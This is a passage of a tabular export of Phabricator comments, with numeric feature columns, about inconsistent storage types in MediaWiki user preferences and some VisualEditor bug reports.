This task is about inconsistencies within a single key. Where the same logical value of the same preference key can be int, int-ish string, or boolean, depending on how/if it got normalised, and where it came from (PHP default or MySQL row).",,,1519100508,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-yfjwr3je2btidmhmuccx,task_subcomment,,True,c1,3,True,,,242,,0.0,0.0,0.0,0.0,0.0,11.0,3.0,1.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,4.0,13.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,1.0,0.0,3.0,0.0,3.0,1.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,23.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,6.0,6.0,4.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,13.0,1.0,0.0,0.0,0.0,5.0,0.0,3.0,3.0,0.0,2.0,0.0,0.0,0.0,4.212765957446808,0.7340425531914894,"SCREEN_NAME I'd recommend tracking that as a separate task because it involves explicitly changing the format of a preference key, and none of the array-like use cases you mentioned are subject to normalisation inconsistencies.

This task is about inconsistencies within a single key. Where the same logical value of the same preference key can be int, int-ish string, or boolean, depending on how/if it got normalised, and where it came from (PHP default or MySQL row)."
1015903,"User preferences are inconsistently stored (bool/int as default, string for overrides)","Also, just to note that `email-blacklist` is another outlier and is actually an array.",,,1519099509,,PHID-USER-hlhhe6qw6qfkl7wyfhxk,False,,,PHID-TASK-yfjwr3je2btidmhmuccx,task_subcomment,,True,c1,3,False,,,242,,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,12.0,6.0,6.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.75,0.9375,"Also, just to note that CODE is another outlier and is actually an array."
1015902,"User preferences are inconsistently stored (bool/int as default, string for overrides)","Is it in scope for this task to tackle the storing of arrays in options? e.g. the differences between JSON strings (rcfilters-saved-queries), pipe-delimited (timecorrection), newline-delimited (email-blacklist), and what these should be exposed as?",,,1519098837,,PHID-USER-hlhhe6qw6qfkl7wyfhxk,False,,,PHID-TASK-yfjwr3je2btidmhmuccx,task_subcomment,,True,c1,3,False,,,242,,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,13.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,24.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,13.0,0.0,4.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.7407407407407407,"Is it in scope for this task to tackle the storing of arrays in options? e.g. the differences between JSON strings (rcfilters-saved-queries), pipe-delimited (timecorrection), newline-delimited (email-blacklist), and what these should be exposed as?"
764143,"User preferences are inconsistently stored (bool/int as default, string for overrides)","Hello, we at Russian Wikipedia had **months** of interwiki gadgets not working for some users, because at first `compact-language-links` user option was set to `""""` when switched off, but after some change switching it on and off turns it to `""0""`. (Was finally fixed [[https://ru.wikipedia.org/w/index.php?title=MediaWiki:Interwiki-links.js&diff=81404746&oldid=79892976|here]].) Those who switched the option off after that change had gadget not working, but the project engineers weren't able to reproduce. Other wikis which had borrowed code from us had the issue too, and they most probably won't update the code.

I have no idea why this task's priority is set to ""Low"". I don't know the site policy regarding changing priorities, I will try change to ""Normal"" at least, maybe needs ""High"".",,,1479716929,,PHID-USER-p6gpvwnc6ske65oxuoof,False,,,PHID-TASK-yfjwr3je2btidmhmuccx,task_subcomment,,True,c1,3,False,,,177,,1.0,0.0,0.0,1.5,3.0,3.5,0.5,0.5,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,8.5,10.0,0.0,0.5,0.0,0.0,0.0,4.5,0.0,0.0,0.0,0.0,0.5,1.0,3.0,0.5,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.5,0.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,12.5,0.5,1.0,0.0,0.5,0.5,0.0,0.0,0.5,0.5,0.0,0.0,2.0,0.0,0.0,0.5,0.5,0.0,3.0,2.5,9.0,1.5,2.0,7.0,0.0,0.0,0.0,0.0,3.0,0.5,0.0,0.0,5.0,10.0,4.0,0.0,4.0,0.0,5.0,0.0,2.5,0.0,0.5,3.0,0.0,1.5,1.0,3.72972972972973,0.7027027027027026,"Hello, we at Russian Wikipedia had **months** of interwiki gadgets not working for some users, because at first CODE user option was set to CODE when switched off, but after some change switching it on and off turns it to CODE. (Was finally fixed [[URL Those who switched the option off after that change had gadget not working, but the project engineers weren't able to reproduce. Other wikis which had borrowed code from us had the issue too, and they most probably won't update the code.

I have no idea why this task's priority is set to ""Low"". I don't know the site policy regarding changing priorities, I will try change to ""Normal"" at least, maybe needs ""High""."
764137,"User preferences are inconsistently stored (bool/int as default, string for overrides)","Hello, we at Russian Wikipedia had **months** of interwiki gadgets not working for some users, because at first `compact-language-links` user option was set to `""""` when switched off, but after some change switching it on and off turns it to `""0""`. (Was finally fixed [[https://ru.wikipedia.org/w/index.php?title=MediaWiki:Interwiki-links.js&diff=81404746&oldid=79892976|here]].) Those who switched the option off after that change had gadget not working, but the project engineers weren't able to reproduce. Other wikis which borrowed code from us had the issue too, and they most probably won't update the code.

I have no idea why this task's priority is set to ""Low"". I don't know the site policy regarding changing priorities, I will try change to ""Normal"" at least, maybe needs ""High"".",,,1479715550,,PHID-USER-p6gpvwnc6ske65oxuoof,False,,,PHID-TASK-yfjwr3je2btidmhmuccx,task_subcomment,,True,c1,3,False,,,177,,1.0,0.0,0.0,1.5,3.0,3.5,0.5,0.5,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,8.5,10.0,0.0,0.5,0.0,0.0,0.0,4.5,0.0,0.0,0.0,0.0,0.5,1.0,3.0,0.5,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.5,0.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,12.5,0.5,1.0,0.0,0.5,0.5,0.0,0.0,0.0,0.5,0.0,0.0,2.0,0.0,0.0,0.5,0.5,0.0,3.0,2.5,9.5,1.5,2.0,7.0,0.0,0.0,0.0,0.0,3.0,0.5,0.0,0.0,5.0,10.0,4.0,0.0,4.0,0.0,5.0,0.0,2.5,0.0,0.5,3.0,0.0,1.5,1.0,3.7331543872639763,0.707700851536468,"Hello, we at Russian Wikipedia had **months** of interwiki gadgets not working for some users, because at first CODE user option was set to CODE when switched off, but after some change switching it on and off turns it to CODE. (Was finally fixed [[URL Those who switched the option off after that change had gadget not working, but the project engineers weren't able to reproduce. Other wikis which borrowed code from us had the issue too, and they most probably won't update the code.

I have no idea why this task's priority is set to ""Low"". I don't know the site policy regarding changing priorities, I will try change to ""Normal"" at least, maybe needs ""High""."
1015906,"User preferences are inconsistently stored (bool/int as default, string for overrides)","Preferences has a filter for some values. The search preferences, for example, are normalised to booleans. A few other are casted to integers.

However the filters are only applied on the way into the database. On the way out they become strings regardless and nothing takes care of that.

So aside from the filters not being available to extension-provided preferences (it's a hardcoded privilege for core's own handling), even for the core ones, there's no normalisation on the way out:

```
rclimit: 50
rows: ""30""
searchNs0: true
searchNs1: false
..
searchNs10: ""1""
searchNs11: false
searchNs12: false
searchNs13: false
searchNs14: ""1""
```

Quite the mix up.

Few thoughts: Applying it on the way out would be a good start. Though it's not a a great system to use for extensions. We could extend the preference descriptor array with a `kind` property (for int, bool or str). Or perhaps something we can derive from the `type` property (for HTMLForm field type). Though the latter is extendable so we'd need to put it in the HTMLFormField class instead of simply having Preferences map the shortcuts to native types. ",,,1519100319,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-yfjwr3je2btidmhmuccx,task_subcomment,,True,c1,3,True,,,242,,1.0,0.0,0.0,1.5,0.5,5.0,1.0,0.0,0.5,0.0,2.0,0.5,0.0,0.5,0.5,0.5,0.0,6.5,13.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,5.5,0.0,1.5,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.5,0.0,1.0,0.0,1.0,0.0,0.0,0.0,18.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,8.5,2.5,6.5,1.5,0.5,10.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.5,13.5,0.5,0.0,0.0,0.0,2.5,0.0,0.0,1.5,0.0,0.5,0.0,0.0,0.0,4.257142857142857,0.7571428571428571,"Preferences has a filter for some values. The search preferences, for example, are normalised to booleans. A few other are casted to integers.

However the filters are only applied on the way into the database. On the way out they become strings regardless and nothing takes care of that.

So aside from the filters not being available to extension-provided preferences (it's a hardcoded privilege for core's own handling), even for the core ones, there's no normalisation on the way out:

``CODE`CODEkindCODEtype` property (for HTMLForm field type). Though the latter is extendable so we'd need to put it in the HTMLFormField class instead of simply having Preferences map the shortcuts to native types. "
411473,"User preferences are inconsistently stored (bool/int as default, string for overrides)","Preferences has a filter for some values. The search preferences, for example, are normalised to booleans. A few other are casted to integers.

However the filters are only applied on the in to the database. On the way out they become strings regardless and nothing takes care of that.

So aside from the filters not being available to extension-provided preferences (it's a hardcoded privilege for core's own handling), even for the core ones, there's no normalisation on the way out:

```
rclimit: 50
rows: ""30""
searchNs0: true
searchNs1: false
..
searchNs10: ""1""
searchNs11: false
searchNs12: false
searchNs13: false
searchNs14: ""1""
```

Quite the mix up.

Few thoughts: Applying it on the way out would be a good start. Though it's not a a great system to use for extensions. We could extend the preference descriptor array with a `kind` property (for int, bool or str). Or perhaps something we can derive from the `type` property (for HTMLForm field type). Though the latter is extendable so we'd need to put it in the HTMLFormField class instead of simply having Preferences map the shortcuts to native types. ",,,1423877781,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-yfjwr3je2btidmhmuccx,task_subcomment,,True,c1,3,True,,,84,,1.0,0.0,0.0,1.5,0.5,5.0,1.0,0.0,0.5,0.0,2.5,0.5,0.0,0.5,0.5,0.5,0.0,6.5,14.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,5.5,0.0,1.5,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.5,0.0,1.0,0.0,1.0,0.0,0.0,0.0,18.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,8.5,2.5,6.5,1.5,0.5,10.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.5,14.0,0.5,0.0,0.0,0.0,2.5,0.0,0.0,1.5,0.0,0.5,0.0,0.0,0.0,4.235714285714286,0.7571428571428571,"Preferences has a filter for some values. The search preferences, for example, are normalised to booleans. A few other are casted to integers.

However the filters are only applied on the in to the database. On the way out they become strings regardless and nothing takes care of that.

So aside from the filters not being available to extension-provided preferences (it's a hardcoded privilege for core's own handling), even for the core ones, there's no normalisation on the way out:

``CODE`CODEkindCODEtype` property (for HTMLForm field type). Though the latter is extendable so we'd need to put it in the HTMLFormField class instead of simply having Preferences map the shortcuts to native types. "
411465,"User preferences are inconsistently stored (bool/int as default, string for overrides)",I have had similar difficulties and personally prefer booleans wherever possible.  They're more reliable and less likely to be unpredictable.  They are either true or false or they're invalid.,,,1423875937,,PHID-USER-qgqq35kbi5wss2tlgmhg,False,,,PHID-TASK-yfjwr3je2btidmhmuccx,task_subcomment,,True,c1,3,False,,,84,,0.0,0.0,0.0,0.0,0.0,22.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,11.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,8.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,8.0,3.0,14.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,11.0,3.0,0.0,0.0,0.0,0.0,11.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,4.555555555555555,0.8055555555555556,I have had similar difficulties and personally prefer booleans wherever possible.  They're more reliable and less likely to be unpredictable.  They are either true or false or they're invalid.
684507,"User preferences are inconsistently stored (bool/int as default, string for overrides)","(In reply to Bartosz Dziewoński from comment #1)
> ...
> normalizing values of boolean prefs to true/false just before building this
> list (in ResourceLoaderUserOptionsModule#getScript) seems like the best way.

+1 for normalizing boolean preferences so that either
> `mw.user.options.get( 'anyBooleanPreference' ) === true`
> `mw.user.options.get( 'anyBooleanPreference' ) === false`
and nothing else.

The current behavior is ***very*** inconvenient:
* If I do not set `$wgDefaultUserOptions['usebetatoolbar']`
(i.e., if I use WikiEditor's default):
  - If I don't change the preference
    `mw.user.options.get( 'usebetatoolbar' ) === null`
  - If I enable the preference
    `mw.user.options.get( 'usebetatoolbar' ) === ""1""`
* If I set `$wgDefaultUserOptions['usebetatoolbar'] = 1` (as in WMF cluster[1]):
  - If I don't change the preference
    `mw.user.options.get( 'usebetatoolbar' ) === 1`
  - If I disable the preference
    `mw.user.options.get( 'usebetatoolbar' ) === ""0""` (non-empty string == true!)
* On English Wikipedia
  - If I don't change the preference
    `mw.user.options.get( 'usebetatoolbar' ) === 1`
  - If I disable the preference
    `mw.user.options.get( 'usebetatoolbar' ) === """"` (empty string!)

[1] https://github.com/wikimedia/operations-mediawiki-config/blob/8178a4994c0137f5171798f3e831c0492c8cbc06/wmf-config/CommonSettings.php#L1641",,,1466864706,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-yfjwr3je2btidmhmuccx,task_subcomment,,True,c1,3,False,,,155,,0.0,0.0,0.5,0.0,2.0,5.0,0.0,0.0,0.0,5.0,2.0,1.5,0.0,0.0,0.0,5.0,0.0,3.0,10.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,12.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.5,22.0,6.0,0.5,4.5,0.0,0.0,1.0,0.5,2.0,0.0,1.0,0.0,5.0,10.0,7.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,3.3493975903614457,0.5542168674698795,"(In reply to Bartosz Dziewoński from comment #1)
QUOTE
QUOTE
QUOTE

+1 for normalizing boolean preferences so that either
QUOTE
QUOTE
and nothing else.

The current behavior is ***very*** inconvenient:
* If I do not set CODE
(i.e., if I use WikiEditor's default):
  - If I don't change the preference
    CODE
  - If I enable the preference
    CODE
* If I set CODE (as in WMF cluster[1]):
  - If I don't change the preference
    CODE
  - If I disable the preference
    CODE (non-empty string == true!)
* On English Wikipedia
  - If I don't change the preference
    CODE
  - If I disable the preference
    CODE (empty string!)

[1] URL"
240200,"User preferences are inconsistently stored (bool/int as default, string for overrides)","(In reply to Bartosz Dziewoński from comment #1)
> ...
> normalizing values of boolean prefs to true/false just before building this
> list (in ResourceLoaderUserOptionsModule#getScript) seems like the best way.

+1 for normalizing boolean preferences so that either
> mw.user.options.get( 'anyBooleanPreference' ) === true
> mw.user.options.get( 'anyBooleanPreference' ) === false
and nothing else.

The current behavior is ***very*** inconvenient:
* If I do not set $wgDefaultUserOptions['usebetatoolbar']
(i.e., if I use WikiEditor's default):
  - If I don't change the preference
    mw.user.options.get( 'usebetatoolbar' ) === null
  - If I enable the preference
    mw.user.options.get( 'usebetatoolbar' ) === ""1""
* If I set $wgDefaultUserOptions['usebetatoolbar'] = 1 (as in WMF cluster[1]):
  - If I don't change the preference
    mw.user.options.get( 'usebetatoolbar' ) === 1
  - If I disable the preference
    mw.user.options.get( 'usebetatoolbar' ) === ""0"" (non-empty string == true!)
* On English Wikipedia
  - If I don't change the preference
    mw.user.options.get( 'usebetatoolbar' ) === 1
  - If I disable the preference
    mw.user.options.get( 'usebetatoolbar' ) === """" (empty string!)

[1] https://github.com/wikimedia/operations-mediawiki-config/blob/8178a4994c0137f5171798f3e831c0492c8cbc06/wmf-config/CommonSettings.php#L1641",,,1408812707,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-yfjwr3je2btidmhmuccx,task_subcomment,,True,c1,3,False,,,59,,0.0,0.0,0.3333333333333333,0.0,1.3333333333333333,3.6666666666666665,0.0,0.0,0.0,3.3333333333333335,1.3333333333333333,6.333333333333333,0.0,0.0,0.0,3.3333333333333335,0.0,2.0,6.333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,15.666666666666666,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.3333333333333333,0.0,0.0,0.0,0.0,0.0,2.6666666666666665,0.3333333333333333,11.333333333333334,4.0,0.3333333333333333,3.0,0.0,0.0,1.0,0.3333333333333333,3.0,0.0,2.6666666666666665,0.0,4.0,6.333333333333333,4.333333333333333,0.0,7.666666666666667,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.6813741813741814,0.518981018981019,"(In reply to Bartosz Dziewoński from comment #1)
QUOTE
QUOTE
QUOTE

+1 for normalizing boolean preferences so that either
QUOTE
QUOTE
and nothing else.

The current behavior is ***very*** inconvenient:
* If I do not set $wgDefaultUserOptions['usebetatoolbar']
(i.e., if I use WikiEditor's default):
  - If I don't change the preference
    mw.user.options.get( 'usebetatoolbar' ) === null
  - If I enable the preference
    mw.user.options.get( 'usebetatoolbar' ) === ""1""
* If I set $wgDefaultUserOptions['usebetatoolbar'] = 1 (as in WMF cluster[1]):
  - If I don't change the preference
    mw.user.options.get( 'usebetatoolbar' ) === 1
  - If I disable the preference
    mw.user.options.get( 'usebetatoolbar' ) === ""0"" (non-empty string == true!)
* On English Wikipedia
  - If I don't change the preference
    mw.user.options.get( 'usebetatoolbar' ) === 1
  - If I disable the preference
    mw.user.options.get( 'usebetatoolbar' ) === """" (empty string!)

[1] URL"
240194,"User preferences are inconsistently stored (bool/int as default, string for overrides)","The integer came from $wgDefaultSettings. Set it to string there and it should work, except gadget and maybe the searchNs, because that are dynamically preferences, where the default is not stored in $wgDefaultSettings.",,,1375735877,,PHID-USER-a6jwrurphpx6yl4coupk,False,,,PHID-TASK-yfjwr3je2btidmhmuccx,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,12.0,12.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,5.0,5.0,8.0,5.0,10.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,5.0,12.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.675,0.8,"The integer came from $wgDefaultSettings. Set it to string there and it should work, except gadget and maybe the searchNs, because that are dynamically preferences, where the default is not stored in $wgDefaultSettings."
240187,"User preferences are inconsistently stored (bool/int as default, string for overrides)","Values that are actually saved in the database (ie, non-default ones) are always strings, and apparently usually equal to ""1"" (but for boolean prefs any truthy value is technically possible, especially if one uses the API to set them).

Values that are default ones are equal to whatever the programmer decided, and as you can see they might be 1/0, true/false, ""1""/""0"" or null. You should just check for truthiness in this case.

I'm not sure how to solve this, or whether we actually want to solve this; normalizing values of boolean prefs to true/false just before building this list (in ResourceLoaderUserOptionsModule#getScript) seems like the best way.",,,1375703425,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-yfjwr3je2btidmhmuccx,task_subcomment,,True,c1,3,True,,,5,,0.5,0.0,0.0,0.5,0.5,10.0,1.0,0.0,0.0,0.5,2.5,0.5,0.0,0.0,0.0,1.5,0.0,6.5,10.5,0.0,2.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,5.0,2.0,0.0,0.0,1.0,0.5,0.0,0.5,0.5,0.0,1.0,0.0,0.5,0.0,0.5,0.0,1.0,0.0,10.0,1.5,1.5,0.0,1.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.5,0.0,0.5,0.0,2.0,3.0,3.5,2.0,3.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,4.5,10.5,1.5,0.0,2.5,0.0,4.5,0.0,2.0,0.0,0.5,0.5,0.0,0.5,0.5,4.0144927536231885,0.7391304347826086,"Values that are actually saved in the database (ie, non-default ones) are always strings, and apparently usually equal to ""1"" (but for boolean prefs any truthy value is technically possible, especially if one uses the API to set them).

Values that are default ones are equal to whatever the programmer decided, and as you can see they might be 1/0, true/false, ""1""/""0"" or null. You should just check for truthiness in this case.

I'm not sure how to solve this, or whether we actually want to solve this; normalizing values of boolean prefs to true/false just before building this list (in ResourceLoaderUserOptionsModule#getScript) seems like the best way."
54519,"VisualEditor: In the save dialog, also show the ""switch to wikitext"" button in the wikitext diff so they can fix last-minute issues","when saving, there is possibility to check the result visually. allow to edit it.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
{T52687}",Medium,50.0,1375606860,,PHID-USER-2ccnbnjo2s2q3diidydr,False,,False,PHID-TASK-escar4ypn3o4hbygakj4,task_description,open,True,c1,3,False,False,,4,,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,11.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,2.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,3.5531914893617023,0.6170212765957447,"when saving, there is possibility to check the result visually. allow to edit it.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
{T52687}"
238847,"VisualEditor: In the save dialog, also show the ""switch to wikitext"" button in the wikitext diff so they can fix last-minute issues","(In reply to comment #2)
> agreed, james, that would be desireable. but is for sure a very different
> feature not at all helping out when the diff reveals visual editor did
> something unexpected.
It does actually help: you can close the save dialog and switch to source mode, but this is not very discoverable.

Maybe we should consider adding a button to the diff preview that sends you straight to source mode?",,,1390857782,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-escar4ypn3o4hbygakj4,task_subcomment,,True,c1,3,False,,,30,,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,8.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,2.0,2.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,20.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,5.0,2.0,10.0,0.0,3.0,7.0,0.0,0.0,0.0,2.0,8.0,0.0,2.0,0.0,7.0,8.0,2.0,2.0,0.0,0.0,7.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,3.694915254237288,0.7966101694915254,"(In reply to comment #2)
QUOTE
QUOTE
QUOTE
It does actually help: you can close the save dialog and switch to source mode, but this is not very discoverable.

Maybe we should consider adding a button to the diff preview that sends you straight to source mode?"
238842,"VisualEditor: In the save dialog, also show the ""switch to wikitext"" button in the wikitext diff so they can fix last-minute issues","agreed, james, that would be desireable. but is for sure a very different feature not at all helping out when the diff reveals visual editor did something unexpected.",,,1377845408,,PHID-USER-2ccnbnjo2s2q3diidydr,False,,,PHID-TASK-escar4ypn3o4hbygakj4,task_subcomment,,True,c1,3,False,,,8,,3.0,3.0,3.0,0.0,3.0,16.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,9.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,9.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,3.0,3.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,3.0,0.0,0.0,0.0,4.34375,0.9375,"agreed, james, that would be desireable. but is for sure a very different feature not at all helping out when the diff reveals visual editor did something unexpected."
238835,"VisualEditor: In the save dialog, also show the ""switch to wikitext"" button in the wikitext diff so they can fix last-minute issues","This is an interesting idea, but I think bug 50687 (with a button to switch to the wikitext editor) is probably more discoverable and more useful for some situations.",,,1377815545,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-escar4ypn3o4hbygakj4,task_subcomment,,True,c1,3,True,,,8,,3.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,15.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,6.0,6.0,0.0,6.0,15.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,4.181818181818182,0.9090909090909091,"This is an interesting idea, but I think bug 50687 (with a button to switch to the wikitext editor) is probably more discoverable and more useful for some situations."
54493,VisualEditor: The 'beta' element in the edit tab has an overline instead of underline in Firefox,"Greg also reproduced this.  He sees a superscript, but I have an additional issue, that the beta is roughly the same horizontal position.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1375503180,1408815618.0,PHID-USER-dw53c5cb2qfhyemej57o,True,,False,PHID-TASK-yr55vawmutvv7jim7igv,task_description,resolved,True,c1,3,True,False,False,4,,0.0,0.0,0.0,0.0,0.0,11.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,9.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,11.0,2.0,2.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.065217391304348,0.7391304347826086,"Greg also reproduced this.  He sees a superscript, but I have an additional issue, that the beta is roughly the same horizontal position.

--------------------------
**Version**: unspecified
**Severity**: normal"
